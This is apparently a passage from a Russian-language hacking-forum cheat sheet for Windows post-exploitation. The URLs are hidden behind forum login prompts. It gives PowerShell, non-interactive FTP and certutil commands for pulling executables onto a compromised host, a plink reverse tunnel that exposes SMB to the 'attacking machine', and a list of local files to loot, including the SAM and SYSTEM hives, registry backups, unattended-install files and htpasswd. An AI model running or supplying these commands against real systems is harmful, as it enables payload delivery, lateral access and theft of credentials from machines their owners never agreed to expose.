(New-Object System.Net.WebClient).DownloadFile("Для просмотра ссылки Войди
Powershell Script
Код:
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "Для просмотра ссылки Войди
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
Неинтерактивный FTP через текстовый файл. Очень полезно в тех случаях, когда у вас ограниченное выполнение команд.
Код:
echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
CertUtil
Код:
certutil.exe -urlcache -split -f Для просмотра ссылки Войди
Перенаправление портов
Это полезно для отображения внутренних служб, которые недоступны вне самой машины, обычно из-за настроек брандмауэра.
Загрузите plink.exe на целевую систему.
Запустите SSH на вашей атакующей машине.
Например, для того чтобы отобразить SMB, на целевой машине запустите:
Код:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
Примечание: Начиная с обновления Fall Creators для Windows 10, OpenSSH был представлен в бета-версии для Windows, поэтому я ожидаю, что в один прекрасный день мы сможем использовать только обычные старые SSH-команды для переадресации портов, в зависимости от того, включен ли OpenSSH.
Список локальных файлов
Это не исчерпывающий список, каталоги установки будут регулярно меняться, я лишь перечислил самые основные.
Код:
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
Источник: Для просмотра ссылки Войди
Все команды, описанные в статье можно запустить только находясь внутри системы с правами администратора.
Больше прав можно получить только обладая правами системы.